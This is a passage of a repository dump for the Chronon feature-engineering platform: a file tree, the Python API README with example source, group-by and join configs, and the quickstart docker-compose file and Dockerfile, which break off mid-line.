"sample_group_by_for_dependency_test.py"}, {"type": "file", "name": "sample_group_by_from_join_part.py"}, {"type": "file", "name": "sample_group_by_from_module.py"}, {"type": "file", "name": "sample_group_by_group_by.py"}, {"type": "file", "name": "sample_group_by_missing_input_column.py"}, {"type": "file", "name": "sample_group_by_with_derivations.py"}, {"type": "file", "name": "sample_group_by_with_incorrect_derivations.py"}, {"type": "file", "name": "sample_non_prod_group_by.py"}]}, {"type": "directory", "name": "unit_test", "children": [{"type": "file", "name": "entity_sample_group_by.py"}, {"type": "file", "name": "event_sample_group_by.py"}, {"type": "file", "name": "sample_chaining_group_by.py"}, {"type": "file", "name": "sample_group_by.py"}, {"type": "directory", "name": "user", "children": [{"type": "file", "name": "sample_nested_group_by.py"}]}]}]}, {"type": "directory", "name": "joins", "children": [{"type": "directory", "name": "kaggle", "children": [{"type": "file", "name": "outbrain.py"}]}, {"type": "directory", "name": "quickstart", "children": [{"type": "file", "name": "training_set.py"}]}, {"type": "directory", "name": "sample_team", "children": [{"type": "file", "name": "sample_backfill_mutation_join.py"}, {"type": "file", "name": "sample_chaining_join.py"}, {"type": "file", "name": "sample_deprecation_join.py"}, {"type": "file", "name": "sample_join.py"}, {"type": "file", "name": "sample_join_bootstrap.py"}, {"type": "file", "name": "sample_join_derivation.py"}, {"type": "file", "name": "sample_join_external_parts.py"}, {"type": "file", "name": "sample_join_for_dependency_test.py"}, {"type": "file", "name": "sample_join_from_group_by_from_join.py"}, {"type": "file", "name": "sample_join_from_module.py"}, {"type": "file", "name": "sample_join_from_module_skipped.py"}, {"type": "file", "name": "sample_join_from_shorthand.py"}, {"type": "file", "name": "sample_join_with_derivations_on_external_parts.py"}, {"type": "file", "name": "sample_label_join.py"}, {"type": "file", "name": "sample_label_join_with_agg.py"}, {"type": "file", "name": "sample_online_join.py"}]}, {"type": "directory", "name": "unit_test", "children": [{"type": "file", "name": "sample_join.py"}, {"type": "file", "name": "sample_online_join.py"}, {"type": "file", "name": "sample_online_join_with_gb_not_online.py"}, {"type": "file", "name": "sample_parent_join.py"}, {"type": "directory", "name": "user", "children": [{"type": "file", "name": "sample_transactions.py"}]}]}]}, {"type": "directory", "name": "production", "children": [{"type": "directory", "name": "group_bys", "children": [{"type": "directory", "name": "sample_team", "children": [{"type": "file", "name": "entity_sample_group_by_from_module.v1"}, {"type": "file", "name": "event_sample_group_by.v1"}, {"type": "file", "name": "group_by_with_kwargs.v1"}, {"type": "file", "name": "sample_chaining_group_by"}, {"type": "file", "name": "sample_deprecation_group_by.v1"}, {"type": "file", "name": "sample_group_by_for_dependency_test.v1"}, {"type": "file", "name": "sample_group_by_group_by.v1"}]}, {"type": "directory", "name": "unit_test", "children": [{"type": "file", "name": "sample_chaining_group_by.chaining_group_by_v1"}, {"type": "file", "name": "sample_group_by.v1"}, {"type": "file", "name": "user.sample_nested_group_by.v1"}]}]}, {"type": "directory", "name": "joins", "children": [{"type": "directory", "name": "sample_team", "children": [{"type": "file", "name": "sample_backfill_mutation_join.v0"}, {"type": "file", "name": "sample_chaining_join.parent_join"}, {"type": "file", "name": "sample_chaining_join.v1"}, {"type": "file", "name": "sample_deprecation_join.v1"}, {"type": "file", "name": "sample_join.consistency_check"}, {"type": "file", "name": "sample_join.group_by_of_group_by"}, {"type": "file", "name": "sample_join.never"}, {"type": "file", "name": "sample_join.no_log_flattener"}, {"type": "file", "name": "sample_join.v1"}, {"type": "file", "name": "sample_join_bootstrap.v1"}, {"type": "file", "name": "sample_join_bootstrap.v2"}, {"type": "file", "name": "sample_join_derivation.v1"}, {"type": "file", "name": "sample_join_external_parts.v1"}, {"type": "file", "name": "sample_join_for_dependency_test.v1"}, {"type": "file", "name": "sample_join_from_group_by_from_join.v1"}, {"type": "file", "name": "sample_join_from_module.v1"}, {"type": "file", "name": "sample_join_from_shorthand.v1"}, {"type": "file", "name": "sample_join_with_derivations_on_external_parts.v1"}, {"type": "file", "name": "sample_label_join.v1"}, {"type": "file", "name": "sample_label_join_with_agg.v1"}, {"type": "file", "name": "sample_online_join.v1"}]}, {"type": "directory", "name": "unit_test", "children": [{"type": "file", "name": "sample_parent_join.parent_join"}, {"type": "file", "name": "user.sample_transactions.v1"}]}]}, {"type": "directory", "name": "staging_queries", "children": [{"type": "directory", "name": "sample_team", "children": [{"type": "file", "name": "sample_staging_query.v1"}]}]}]}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "data-loader.scala"}, {"type": "file", "name": "fetch_online_jar.py"}, {"type": "file", "name": "run.sh"}, {"type": "file", "name": "spark_streaming.sh"}, {"type": "file", "name": "spark_submit.sh"}, {"type": "file", "name": "yarn_list.py"}]}, {"type": "directory", "name": "sources", "children": [{"type": "directory", "name": "kaggle", "children": [{"type": "file", "name": "outbrain.py"}]}, {"type": "file", "name": "test_sources.py"}]}, {"type": "directory", "name": "staging_queries", "children": [{"type": "directory", "name": "kaggle", "children": [{"type": "file", "name": "outbrain.py"}]}, {"type": "directory", "name": "sample_team", "children": [{"type": "file", "name": "sample_staging_query.py"}]}]}, {"type": "file", "name": "teams.json"}]}, {"type": "directory", "name": "scheduler", "children": [{"type": "file", "name": "test_flow.py"}]}, {"type": "file", "name": "test_compile.py"}, {"type": "file", "name": "test_decorator.py"}, {"type": "file", "name": "test_dependency_tracker.py"}, {"type": "file", "name": "test_explore.py"}, {"type": "file", "name": "test_group_by.py"}, {"type": "file", "name": "test_join.py"}, {"type": "file", "name": "test_run.py"}, {"type": "file", "name": "test_teams.py"}, {"type": "file", "name": "test_utils.py"}, {"type": "file", "name": "test_validator.py"}]}, {"type": "file", "name": "tox.ini"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "api", "children": [{"type": "file", "name": "Builders.scala"}, {"type": "file", "name": "Constants.scala"}, {"type": "file", "name": "DataModel.scala"}, {"type": "file", "name": "DataType.scala"}, {"type": "file", "name": "Exceptions.scala"}, {"type": "file", "name": "Extensions.scala"}, {"type": "file", "name": "HashUtils.scala"}, {"type": "file", "name": "ParametricMacro.scala"}, {"type": "file", "name": "PartitionSpec.scala"}, {"type": "file", "name": "QueryUtils.scala"}, {"type": "file", "name": "Row.scala"}, {"type": "file", "name": "ThriftJsonCodec.scala"}]}]}]}]}, {"type": "directory", "name": "scala-2.11", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "util", "children": [{"type": "file", "name": "ScalaVersionSpecificCollectionsConverter.scala"}]}]}]}, {"type": "directory", "name": "scala-2.12", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "util", "children": [{"type": "file", "name": "ScalaVersionSpecificCollectionsConverter.scala"}]}]}]}, {"type": "directory", "name": "scala-2.13", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "util", "children": [{"type": "file", "name": "ScalaVersionSpecificCollectionsConverter.scala"}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "api", "children": [{"type": "directory", "name": "test", "children": [{"type": "file", "name": "DataTypeConversionTest.scala"}, {"type": "file", "name": "ExtensionsTest.scala"}, {"type": "file", "name": "ParametricMacroTest.scala"}]}]}]}]}]}]}]}, {"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "api.thrift"}]}]}, {"type": "file", "name": "AUTHORS"}, {"type": "file", "name": "build.sbt"}, {"type": "file", "name": "build.sh"}, {"type": "file", "name": "CONTRIBUTING.md"}, {"type": "file", "name": "devnotes.md"}, {"type": "file", "name": "docker-compose.yml"}, {"type": "file", "name": "Dockerfile"}, {"type": "directory", "name": "docs", "children": [{"type": "file", "name": "build-sphinx.sh"}, {"type": "directory", "name": "examples", "children": [{"type": "file", "name": "main.py"}]}, {"type": "directory", "name": "images", "children": []}, {"type": "file", "name": "make.bat"}, {"type": "file", "name": "Makefile"}, {"type": "directory", "name": "source", "children": [{"type": "directory", "name": "authoring_features", "children": [{"type": "file", "name": "Bootstrap.md"}, {"type": "file", "name": "ChainingFeatures.md"}, {"type": "file", "name": "DerivedFeatures.md"}, {"type": "file", "name": "GroupBy.md"}, {"type": "file", "name": "Join.md"}, {"type": "file", "name": "Source.md"}, {"type": "file", "name": "StagingQuery.md"}]}, {"type": "file", "name": "Code_Guidelines.md"}, {"type": "file", "name": "conf.py"}, {"type": "directory", "name": "getting_started", "children": [{"type": "file", "name": "Benefits.md"}, {"type": "file", "name": "Introduction.md"}, {"type": "file", "name": "Tutorial.md"}]}, {"type": "file", "name": "index.rst"}, {"type": "file", "name": "Kaggle_Outbrain.md"}, {"type": "file", "name": "Python_API.rst"}, {"type": "directory", "name": "setup", "children": [{"type": "file", "name": "Components.md"}, {"type": "file", "name": "Data_Integration.md"}, {"type": "file", "name": "Developer_Setup.md"}, {"type": "file", "name": "Flink.md"}, {"type": "file", "name": "Online_Integration.md"}, {"type": "file", "name": "Orchestration.md"}, {"type": "file", "name": "Overview.md"}]}, {"type": "directory", "name": "test_deploy_serve", "children": [{"type": "file", "name": "Deploy.md"}, {"type": "file", "name": "Online_Offline_Consistency.md"}, {"type": "file", "name": "Serve.md"}, {"type": "file", "name": "Test.md"}]}, {"type": "file", "name": "Tiled_Architecture.md"}, {"type": "file", "name": "window_tiling.md"}, {"type": "directory", "name": "_static", "children": [{"type": "file", "name": "chronon.css"}, {"type": "directory", "name": "index-images", "children": [{"type": "file", "name": "api.svg"}, {"type": "file", "name": "contributor.svg"}, {"type": "file", "name": "getting_started.svg"}, {"type": "file", "name": "user_guide.svg"}]}]}]}, {"type": "file", "name": "sphinx-requirements.txt"}]}, {"type": "directory", "name": "flink", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "flink", "children": [{"type": "file", "name": "AsyncKVStoreWriter.scala"}, {"type": "file", "name": "AvroCodecFn.scala"}, {"type": "file", "name": "FlinkJob.scala"}, {"type": "file", "name": "FlinkSource.scala"}, {"type": "file", "name": "RichMetricsOperators.scala"}, {"type": "file", "name": "SparkExpressionEvalFn.scala"}, {"type": "directory", "name": "window", "children": [{"type": "file", "name": "FlinkRowAggregators.scala"}, {"type": "file", "name": "KeySelector.scala"}, {"type": "file", "name": "Trigger.scala"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "flink", "children": [{"type": "directory", "name": "test", "children": [{"type": "file", "name": "AsyncKVStoreWriterTest.scala"}, {"type": "file", "name": "FlinkJobIntegrationTest.scala"}, {"type": "file", "name": "FlinkTestUtils.scala"}, {"type": "file", "name": "SparkExpressionEvalFnTest.scala"}, {"type": "directory", "name": "window", "children": [{"type": "file", "name": "FlinkRowAggregationFunctionTest.scala"}, {"type": "file", "name": "KeySelectorTest.scala"}]}]}]}]}]}]}]}]}]}, {"type": "file", "name": "gcloud_release.sh"}, {"type": "file", "name": "GOVERNANCE.md"}, {"type": "file", "name": "init.sh"}, {"type": "file", "name": "LICENSE"}, {"type": "directory", "name": "online", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "online", "children": [{"type": "file", "name": "FlagStore.java"}, {"type": "file", "name": "JavaExternalSourceHandler.java"}, {"type": "file", "name": "JavaFetcher.java"}, {"type": "file", "name": "JavaRequest.java"}, {"type": "file", "name": "JavaResponse.java"}, {"type": "file", "name": "JavaSeriesStatsResponse.java"}, {"type": "file", "name": "JavaStatsRequest.java"}, {"type": "file", "name": "JavaStatsResponse.java"}, {"type": "file", "name": "JTry.java"}, {"type": "file", "name": "SerializableFunction.java"}, {"type": "file", "name": "TBaseDecoderFactory.java"}, {"type": "file", "name": "ThriftDecoder.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "online", "children": [{"type": "file", "name": "Api.scala"}, {"type": "file", "name": "AvroCodec.scala"}, {"type": "file", "name": "AvroConversions.scala"}, {"type": "file", "name": "CatalystUtil.scala"}, {"type": "file", "name": "CompatParColls.scala"}, {"type": "file", "name": "DataStreamBuilder.scala"}, {"type": "file", "name": "Extensions.scala"}, {"type": "file", "name": "ExternalSourceRegistry.scala"}, {"type": "file", "name": "Fetcher.scala"}, {"type": "file", "name": "FetcherBase.scala"}, {"type": "file", "name": "FetcherCache.scala"}, {"type": "file", "name": "FlexibleExecutionContext.scala"}, {"type": "file", "name": "GroupByServingInfoParsed.scala"}, {"type": "file", "name": "JoinCodec.scala"}, {"type": "file", "name": "LRUCache.scala"}, {"type": "file", "name": "MetadataDirWalker.scala"}, {"type": "file", "name": "MetadataEndPoint.scala"}, {"type": "file", "name": "MetadataStore.scala"}, {"type": "file", "name": "Metrics.scala"}, {"type": "file", "name": "OnlineDerivationUtil.scala"}, {"type": "file", "name": "SparkConversions.scala"}, {"type": "file", "name": "SparkInternalRowConversions.scala"}, {"type": "file", "name": "TileCodec.scala"}, {"type": "file", "name": "TTLCache.scala"}]}]}]}]}, {"type": "directory", "name": "scala-2.11", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "online", "children": [{"type": "file", "name": "ScalaVersionSpecificCatalystHelper.scala"}]}]}]}]}, {"type": "directory", "name": "scala-2.12", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "online", "children": [{"type": "file", "name": "ScalaVersionSpecificCatalystHelper.scala"}]}]}]}]}, {"type": "directory", "name": "scala-2.13", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "online", "children": [{"type": "file", "name": "ScalaVersionSpecificCatalystHelper.scala"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "online", "children": [{"type": "file", "name": "FetcherBaseTest.scala"}, {"type": "file", "name": "FetcherCacheTest.scala"}, {"type": "file", "name": "LRUCacheTest.scala"}, {"type": "file", "name": "TagsTest.scala"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "CatalystUtilTest.scala"}, {"type": "file", "name": "DataStreamBuilderTest.scala"}, {"type": "file", "name": "JoinCodecTest.scala"}, {"type": "file", "name": "ThriftDecodingTest.scala"}]}, {"type": "file", "name": "TileCodecTest.scala"}]}]}]}]}]}]}]}, {"type": "directory", "name": "project", "children": [{"type": "file", "name": "build.properties"}, {"type": "file", "name": "FolderCleaner.scala"}, {"type": "file", "name": "plugins.sbt"}, {"type": "file", "name": "ThriftGen.scala"}, {"type": "file", "name": "VersionDependency.scala"}]}, {"type": "file", "name": "PROJECT_MANAGEMENT_COMMITTEE"}, {"type": "directory", "name": "proposals", "children": [{"type": "file", "name": "CHIP-1.md"}, {"type": "directory", "name": "images", "children": []}]}, {"type": "directory", "name": "quickstart", "children": [{"type": "file", "name": ".env.spark"}, {"type": "directory", "name": "conf", "children": [{"type": "file", "name": "spark-defaults.conf"}]}, {"type": "file", "name": "Dockerfile"}, {"type": "directory", "name": "mongo-online-impl", "children": [{"type": "file", "name": "build.sbt"}, {"type": "directory", "name": "project", "children": [{"type": "file", "name": "build.properties"}, {"type": "file", "name": "Dependencies.scala"}, {"type": "file", "name": "plugins.sbt"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "quickstart", "children": [{"type": "directory", "name": "online", "children": [{"type": "file", "name": "ChrononMongoOnlineImpl.scala"}, {"type": "file", "name": "Constants.scala"}, {"type": "file", "name": "MongoKvStore.scala"}, {"type": "file", "name": "MongoLoggingDumper.scala"}, {"type": "file", "name": "QuickstartMutationDecoder.scala"}, {"type": "file", "name": "Spark2MongoLoader.scala"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "logback.xml"}]}]}]}]}]}, {"type": "file", "name": "requirements.txt"}]}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "spark", "children": [{"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "spark", "children": [{"type": "file", "name": "Analyzer.scala"}, {"type": "file", "name": "Args.scala"}, {"type": "file", "name": "BootstrapInfo.scala"}, {"type": "file", "name": "ChrononKryoRegistrator.scala"}, {"type": "file", "name": "Comparison.scala"}, {"type": "file", "name": "DataRange.scala"}, {"type": "file", "name": "Driver.scala"}, {"type": "file", "name": "Extensions.scala"}, {"type": "file", "name": "FastHashing.scala"}, {"type": "file", "name": "GroupBy.scala"}, {"type": "file", "name": "GroupByUpload.scala"}, {"type": "file", "name": "Join.scala"}, {"type": "file", "name": "JoinBase.scala"}, {"type": "file", "name": "JoinUtils.scala"}, {"type": "file", "name": "KvRdd.scala"}, {"type": "file", "name": "LabelJoin.scala"}, {"type": "file", "name": "LocalDataLoader.scala"}, {"type": "file", "name": "LocalTableExporter.scala"}, {"type": "file", "name": "LogFlattenerJob.scala"}, {"type": "file", "name": "LoggingSchema.scala"}, {"type": "file", "name": "LogUtils.scala"}, {"type": "file", "name": "MetadataExporter.scala"}, {"type": "file", "name": "SemanticHashUtils.scala"}, {"type": "file", "name": "SparkConstants.scala"}, {"type": "file", "name": "SparkSessionBuilder.scala"}, {"type": "file", "name": "StagingQuery.scala"}, {"type": "directory", "name": "stats", "children": [{"type": "file", "name": "CompareBaseJob.scala"}, {"type": "file", "name": "CompareJob.scala"}, {"type": "file", "name": "CompareMetrics.scala"}, {"type": "file", "name": "ConsistencyJob.scala"}, {"type": "file", "name": "EditDistance.scala"}, {"type": "file", "name": "StatsCompute.scala"}, {"type": "file", "name": "SummaryJob.scala"}]}, {"type": "directory", "name": "streaming", "children": [{"type": "file", "name": "DataWriter.scala"}, {"type": "file", "name": "GroupBy.scala"}, {"type": "file", "name": "JoinSourceRunner.scala"}, {"type": "file", "name": "KafkaStreamBuilder.scala"}, {"type": "file", "name": "StreamingStats.scala"}, {"type": "file", "name": "TopicChecker.scala"}]}, {"type": "file", "name": "TableUtils.scala"}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "group_bys", "children": [{"type": "directory", "name": "team", "children": [{"type": "file", "name": "example_group_by.v1"}]}]}, {"type": "directory", "name": "joins", "children": [{"type": "directory", "name": "team", "children": [{"type": "file", "name": "example_join.v1"}, {"type": "file", "name": "example_join_failure.v1"}]}]}, {"type": "directory", "name": "local_data_csv", "children": [{"type": "file", "name": "test_table_1_data.csv"}]}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "ai", "children": [{"type": "directory", "name": "chronon", "children": [{"type": "directory", "name": "spark", "children": [{"type": "directory", "name": "test", "children": [{"type": "file", "name": "AnalyzerTest.scala"}, {"type": "file", "name": "AvroTest.scala"}, {"type": "directory", "name": "bootstrap", "children": [{"type": "file", "name": "BootstrapUtils.scala"}, {"type": "file", "name": "DerivationTest.scala"}, {"type": "file", "name": "LogBootstrapTest.scala"}, {"type": "file", "name": "TableBootstrapTest.scala"}]}, {"type": "file", "name": "ChainingFetcherTest.scala"}, {"type": "file", "name": "CompareTest.scala"}, {"type": "file", "name": "DataFrameGen.scala"}, {"type": "file", "name": "DataRangeTest.scala"}, {"type": "file", "name": "EditDistanceTest.scala"}, {"type": "file", "name": "ExternalSourcesTest.scala"}, {"type": "file", "name": "FeatureWithLabelJoinTest.scala"}, {"type": "file", "name": "FetcherTest.scala"}, {"type": "file", "name": "FetchStatsTest.scala"}, {"type": "file", "name": "GroupByTest.scala"}, {"type": "file", "name": "GroupByUploadTest.scala"}, {"type": "file", "name": "InMemoryKvStore.scala"}, {"type": "file", "name": "InMemoryStream.scala"}, {"type": "file", "name": "JavaFetcherTest.java"}, {"type": "file", "name": "JoinFlowTest.scala"}, {"type": "file", "name": "JoinTest.scala"}, {"type": "file", "name": "JoinUtilsTest.scala"}, {"type": "file", "name": "KafkaStreamBuilderTest.scala"}, {"type": "file", "name": "LabelJoinTest.scala"}, {"type": "file", "name": "LocalDataLoaderTest.scala"}, {"type": "file", "name": "LocalExportTableAbilityTest.scala"}, {"type": "file", "name": "LocalTableExporterTest.scala"}, {"type": "file", "name": "MetadataExporterTest.scala"}, {"type": "file", "name": "MetadataStoreTest.scala"}, {"type": "file", "name": "MigrationCompareTest.scala"}, {"type": "file", "name": "MockApi.scala"}, {"type": "file", "name": "MutationsTest.scala"}, {"type": "file", "name": "OfflineSubcommandTest.scala"}, {"type": "file", "name": "OnlineUtils.scala"}, {"type": "file", "name": "ResultValidationAbilityTest.scala"}, {"type": "file", "name": "SchemaEvolutionTest.scala"}, {"type": "file", "name": "SchemaEvolutionUtils.scala"}, {"type": "file", "name": "SnapshotAggregator.scala"}, {"type": "file", "name": "StagingQueryTest.scala"}, {"type": "file", "name": "StatsComputeTest.scala"}, {"type": "file", "name": "StreamingTest.scala"}, {"type": "file", "name": "TableUtilsTest.scala"}, {"type": "file", "name": "TestUtils.scala"}]}]}]}]}]}]}]}]}, {"type": "file", "name": "version.sbt"}]} | ### Chronon Python API
#### Overview
Chronon Python API for materializing configs to be run by the Chronon Engine. Contains python helpers to help managed a repo of feature and join definitions to be executed by the chronon scala engine.
#### User API Overview
##### Sources
Most fields are self explanatory. Time columns are expected to be in milliseconds (unixtime).
```python
# File <repo>/sources/test_sources.py
from ai.chronon.query import (
Query,
select,
)
from ai.chronon.api.ttypes import Source, EventSource, EntitySource
# Sample query
Query(
selects=select(
user="user_id",
created_at="created_at",
),
wheres=["has_availability = 1"],
start_partition="2021-01-01", # Defines the beginning of time for computations related to the source.
setups=["...UDF..."],
time_column="ts",
end_partition=None,
mutation_time_column="mutation_timestamp",
reversal_column="CASE WHEN mutation_type IN ('DELETE', 'UPDATE_BEFORE') THEN true ELSE false END"
)
user_activity = Source(entities=EntitySource(
snapshotTable="db_exports.table",
mutationTable="mutations_namespace.table_mutations",
mutationTopic="mutationsKafkaTopic",
query=Query(...)
)
website__views = Source(events=EventSource(
table="namespace.table",
topic="kafkaTopicForEvents",
)
```
##### Group By (Features)
Group Bys are aggregations over sources that define features. For example:
```python
# File <repo>/group_bys/example_team/example_group_by.py
from ai.chronon.group_by import (
GroupBy,
Window,
TimeUnit,
Accuracy,
Operation,
Aggregations,
Aggregation,
DefaultAggregation,
)
from sources import test_sources
sum_cols = [f"active_{x}_days" for x in [30, 90, 120]]
v0 = GroupBy(
sources=test_source.user_activity,
keys=["user"],
aggregations=Aggregations(
user_active_1_day=Aggregation(operation=Operation.LAST),
second_feature=Aggregation(
input_column="active_7_days",
operation=Operation.SUM,
windows=[
Window(n, TimeUnit.DAYS) for n in [3, 5, 9]
]
),
) + [
Aggregation(
input_column=col,
operation=Operation.SUM
) for col in sum_columns # Alternative syntax for defining aggregations.
] + [
Aggregation(
input_column="device",
operation=LAST_K(10)
)
],
dependencies=[
"db_exports.table/ds={{ ds }}" # If not defined will be derived from the Source info.
],
accuracy=Accuracy.SNAPSHOT, # This could be TEMPORAL for point in time correctness.
env={
"backfill": { # Execution environment variables for each of the modes for `run.py`
"EXECUTOR_MEMORY": "4G"
},
},
online=True, # True if this group by needs to be uploaded to a KV Store.
production=False # True if this group by is production level.
)
```
##### Join
A Join is a collection of feature values for the keys and (times if applicable) defined on the left (source). Example:
```python
# File <repo>/joins/example_team/example_join.py
from ai.chronon.join import Join, JoinPart
from sources import test_sources
from group_bys.example_team import example_group_by
v1 = Join(
left=test_sources.website__views,
right_parts=[
JoinPart(group_by=example_group_by.v0),
],
online=True, # True if this join will be fetched in production.
production=False, # True if this join should not use non-production group bys.
env={"backfill": {"PARALLELISM": "10"}, "streaming": {"STREAMING_ENV_VAR": "VALUE"}},
)
```
##### Pre-commit Setup
1. Install pre-commit and other dev libraries:
```
pip install -r requirements/dev.txt
```
2. Run the following command under `api/py` to install the git hook scripts:
```
pre-commit install
```
To support more pre-commit hooks, add them to the `.pre-commit-config.yaml` file. | {"docker-compose.yml": "# Quickstart Docker containers to run chronon commands with MongoDB as the KV Store.\nversion: '3.8'\n\nservices:\n\n mongodb:\n image: mongo:latest\n ports:\n - \"27017:27017\"\n environment:\n MONGO_INITDB_ROOT_USERNAME: admin\n MONGO_INITDB_ROOT_PASSWORD: admin\n volumes:\n - mongodb_data:/opt/mongo/data/db\n\n zookeeper:\n image: confluentinc/cp-zookeeper:latest\n environment:\n ZOOKEEPER_CLIENT_PORT: 2181\n ZOOKEEPER_TICK_TIME: 2000\n ports:\n - 22181:2181\n\n kafka:\n image: confluentinc/cp-kafka:latest\n depends_on:\n - zookeeper\n ports:\n - 9092:9092\n environment:\n KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181\n KAFKA_ADVERTISED_LISTENERS: INSIDE://kafka:9092\n KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: INSIDE:PLAINTEXT\n KAFKA_INTER_BROKER_LISTENER_NAME: INSIDE\n KAFKA_CREATE_TOPICS: \"events.returns:1:3\"\n KAFKA_MESSAGE_MAX_BYTES: 2147483647\n\n main:\n image: ezvz/chronon\n command: bash -c \"spark-shell -i scripts/data-loader.scala && tail -f /dev/null\"\n ports:\n - \"4040:4040\"\n environment:\n - USER=root\n - SPARK_SUBMIT_PATH=spark-submit\n - PYTHONPATH=/srv/chronon\n - SPARK_VERSION=3.1.1\n - JOB_MODE=local[*]\n - PARALLELISM=2\n - EXECUTOR_MEMORY=2G\n - EXECUTOR_CORES=4\n - DRIVER_MEMORY=1G\n - CHRONON_LOG_TABLE=default.chronon_log_table\n - CHRONON_ONLINE_CLASS=ai.chronon.quickstart.online.ChrononMongoOnlineImpl\n - CHRONON_ONLINE_ARGS=-Zuser=admin -Zpassword=admin -Zhost=mongodb -Zport=27017 -Zdatabase=admin\n\n\nvolumes:\n mongodb_data:\n spark_events:\n\n\n# volumes:\n# - ./api/py/test/sample:/srv/chronon # Main working dir and repo for samples\n# - ./quickstart/mongo-online-impl:/srv/onlineImpl # KV Store implementation\n# - ./quickstart/jars:/srv/jars # Driver connectors and other spark required jars\n# - /Users/varant_zanoyan/repos/chronon:/srv/chronon_jar\n# - spark_events:/opt/spark/spark-events", "Dockerfile": "# Start from a Debian base image\nFROM openjdk:8-jre-slim\n\n# Set this manually before building the image, requires a local build of the jar\n\nENV CHRONON_JAR_PATH=spark/target-embedded/scala-2.12/your_build.jar\n\n# Update package lists and install necessary tools\nRUN apt-get update && apt-get install -y \\\n curl \\\n python3 \\\n python3-dev \\\n python3-setuptools \\\n vim \\\n wget \\\n procps \\\n python3-pip\n\nENV THRIFT_VERSION 0.13.0\nENV SCALA_VERSION 2.12.12\n\n# Install thrift\nRUN curl -sSL \"http://archive.apache.org/dist/thrift/$THRIFT_VERSION/thrift-$THRIFT_VERSION.tar.gz\" -o thrift.tar.gz \\\n && mkdir -p /usr/src/thrift \\\n && tar zxf thrift.tar.gz -C /usr/src/thrift --strip-components=1 \\\n && rm thrift.tar.gz \\\n && cd /usr/src/thrift \\\n && ./configure --without-python --without-cpp \\\n && make \\\n && make install \\\n && cd / \\\n && rm -rf /usr/src/thrift\n\nRUN curl https://downloads.lightbend.com/scala/${SCALA_VERSION}/scala-${SCALA_VERSION}.deb -k -o scala.deb && \\\n apt install -y ./scala.deb && \\\n rm -rf scala.deb /var/lib/apt/lists/*\n\nENV SCALA_HOME=\"/usr/bin/scala\"\nENV PATH=${PATH}:${SCALA_HOME}/bin\n\n## Download spark and hadoop dependencies and install\n\n# Optional env variables\nENV SPARK_HOME=${SPARK_HOME:-\"/opt/spark\"}\nENV HADOOP_HOME=${HADOOP_HOME:-\"/opt/hadoop\"}\nENV SPARK_VERSION=${SPARK_VERSION:-\"3.1.1\"}\nENV HADOOP_VERSION=${HADOOP_VERSION:-\"3.2\"}\nRUN mkdir -p ${HADOOP_HOME} && mkdir -p ${SPARK_HOME}\nRUN mkdir -p /opt/spark/spark-events\nWORKDIR ${SPARK_HOME}\n\n\nRUN curl https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz -o spark.tgz \\\n && tar xvzf spark.tgz --directory /opt/spark --strip-components 1 \\\n && rm -rf spark.tgz\n\n\n# Install python deps\nCOPY quickstart/requirements.txt .\nRUN pip3 install -r requirements.txt\n\n\nENV PATH=\"/opt/spark/sbin:/opt/spark/bin:${PATH}\"\nENV SPARK_HOME=\"/opt/spark\"\n\nCOPY quickstart/conf/spark-defaults.conf \"$SPARK_HOME/conf\"\n\nRUN chmod u+x /opt/spark/sbin/* && \\\n chmod u+x /opt/spark/bin/*\n\nENV PYTHONPATH=$SPARK_HOME/python/:/srv/chronon/:$PYTHONPATH\n\n# If trying a standalone docker cluster\nWORKDIR ${SPARK_HOME}\n# If doing a regular local spark box.\nWORKDIR 